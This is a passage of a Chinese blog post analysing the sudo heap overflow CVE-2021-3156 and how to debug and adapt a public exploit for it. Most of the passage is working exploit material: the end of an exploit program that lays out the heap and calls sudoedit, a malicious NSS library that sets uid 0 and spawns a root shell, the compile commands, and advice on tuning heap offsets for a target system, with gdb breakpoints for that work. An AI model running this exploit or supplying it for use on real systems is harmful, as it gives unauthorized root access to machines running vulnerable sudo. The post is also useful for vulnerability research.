{size-=0x10;signed int x,y;signed int a=-3;signed int b=2*size-3;signed int c=2*size-2-offset*2;signed int tmp=b*b-4*a*c;if(tmp<0)return -1;tmp=(signed int)sqrt((double)tmp*1.0);signed int A=(0-b+tmp)/(2*a);signed int B=(0-b-tmp)/(2*a);if(A<0 && B<0)return -1;if((A>0 && B<0) || (A<0 && B>0))x=(A>0) ? A: B;if(A>0 && B > 0)x=(A<B) ? A : B;y=size-1-x*2;int len=x+y+(x+y+y+1)*x/2;while ((signed int)(offset-len)<2){x--;y=size-1-x*2;len=x+y+(x+y+1)*x/2;if(x<0)return -1;}int envoff=offset-len-2+0x30;printf("%d,%d,%d\n",x,y,len);char * Astring=malloc(size);int i=0;for(i=0;i<y;i++)Astring[i]='A';Astring[i]='\x00';argv[argvnow++]="sudoedit";argv[argvnow++]="-s";for (i=0;i<x;i++)argv[argvnow++]="\\";argv[argvnow++]=Astring;argv[argvnow++]="\\";argv[argvnow++]=NULL;for(i=0;i<envoff;i++)envp[envnow++]="\\";envp[envnow++]="X/test";return 0;
}int main()
{setargv(0xa0,0x650);addChunk(0x40);addChunk(0x40);addChunk(0xa0);addChunk(0x40);final();execve("/usr/local/bin/sudoedit",argv,envp);
}

lib.c 如下:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>static void __attribute__ ((constructor)) _init(void);static void _init(void) {printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTEsetuid(0); seteuid(0); setgid(0); setegid(0);static char *a_argv[] = { "sh", NULL };static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };execv("/bin/sh", a_argv);
#endif
}

编译命令:

mkdir libnss_X
gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2
gcc exp.c -o exp

成功:

image-20220123115529219

针对特定环境修改exp 的方法

主要是方便自己研究调试,而不是实际攻击。实际攻击还是建议爆破,需要根据环境知道如下几个点:

  1. 可控的vuln 大小,也就是在setlocale 之中留下的free tcache,在vuln 申请之前都不会被消耗掉,需要找到一个合适的大小(对应我exp中的0xa0)
  2. 需要将vuln 布局在哪里,即vuln chunk 之前有几个0x40 chunk 之后又几个0x40 chunk(对应我exp main 函数中的几个addChunk函数)。
  3. target chunk 到 vuln chunk 的距离,即target chunk addr - vuln chunk addr(对应我exp中的0x650)。

修改上面三个点,基本大概率就能直接成功了。

影响漏洞利用的因素

影响堆布局的因素非常多,同样版本的sudo,编译选项的不同导致堆布局发生改变(只要在溢出之前增加或减少了参与堆分配的函数,非常大概率会改变堆布局)。

发行版和自己编译版的sudo 堆布局都是不同的

全局的sudo 配置文件的不同也会影响

passwd 等通用文件也会影响

nsswitch.conf 文件不同会影响

glibc 版本

其他全局环境(或环境文件)

一些调试命令

watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

查看service_table 结构体

p service_table
p * service_table
p * service_table -> entry
p * service_table -> entry -> next
p * service_table -> entry -> next -> service
···

查看堆块溢出之后最早调用的nss 函数,先断住溢出处:

b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

一些关键函数以及代码出

directory /root/glibc-2.27/
directory /root/glibc-2.27/nss/
directory /root/glibc-2.27/elf/
directory /root/glibc-2.27/locale/b setlocale
b nss_parse_file
b nss_load_library

这篇关于[漏洞分析] CVE-2021-3156 sudo提权分析及exp调试修改的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/409892

相关文章

前端bug调试的方法技巧及常见错误

《前端bug调试的方法技巧及常见错误》:本文主要介绍编程中常见的报错和Bug,以及调试的重要性,调试的基本流程是通过缩小范围来定位问题,并给出了推测法、删除代码法、console调试和debugg... 目录调试基本流程调试方法排查bug的两大技巧如何看控制台报错前端常见错误取值调用报错资源引入错误解析错误

Go使用pprof进行CPU,内存和阻塞情况分析

《Go使用pprof进行CPU,内存和阻塞情况分析》Go语言提供了强大的pprof工具,用于分析CPU、内存、Goroutine阻塞等性能问题,帮助开发者优化程序,提高运行效率,下面我们就来深入了解下... 目录1. pprof 介绍2. 快速上手:启用 pprof3. CPU Profiling:分析 C

MySQL表锁、页面锁和行锁的作用及其优缺点对比分析

《MySQL表锁、页面锁和行锁的作用及其优缺点对比分析》MySQL中的表锁、页面锁和行锁各有特点,适用于不同的场景,表锁锁定整个表,适用于批量操作和MyISAM存储引擎,页面锁锁定数据页,适用于旧版本... 目录1. 表锁(Table Lock)2. 页面锁(Page Lock)3. 行锁(Row Lock

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

最长公共子序列问题的深度分析与Java实现方式

《最长公共子序列问题的深度分析与Java实现方式》本文详细介绍了最长公共子序列(LCS)问题,包括其概念、暴力解法、动态规划解法,并提供了Java代码实现,暴力解法虽然简单,但在大数据处理中效率较低,... 目录最长公共子序列问题概述问题理解与示例分析暴力解法思路与示例代码动态规划解法DP 表的构建与意义动

修改若依框架Token的过期时间问题

《修改若依框架Token的过期时间问题》本文介绍了如何修改若依框架中Token的过期时间,通过修改`application.yml`文件中的配置来实现,默认单位为分钟,希望此经验对大家有所帮助,也欢迎... 目录修改若依框架Token的过期时间修改Token的过期时间关闭Token的过期时js间总结修改若依

MySQL修改密码的四种实现方式

《MySQL修改密码的四种实现方式》文章主要介绍了如何使用命令行工具修改MySQL密码,包括使用`setpassword`命令和`mysqladmin`命令,此外,还详细描述了忘记密码时的处理方法,包... 目录mysql修改密码四种方式一、set password命令二、使用mysqladmin三、修改u

使用Python在Excel中插入、修改、提取和删除超链接

《使用Python在Excel中插入、修改、提取和删除超链接》超链接是Excel中的常用功能,通过点击超链接可以快速跳转到外部网站、本地文件或工作表中的特定单元格,有效提升数据访问的效率和用户体验,这... 目录引言使用工具python在Excel中插入超链接Python修改Excel中的超链接Python

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

使用C/C++调用libcurl调试消息的方式

《使用C/C++调用libcurl调试消息的方式》在使用C/C++调用libcurl进行HTTP请求时,有时我们需要查看请求的/应答消息的内容(包括请求头和请求体)以方便调试,libcurl提供了多种... 目录1. libcurl 调试工具简介2. 输出请求消息使用 CURLOPT_VERBOSE使用 C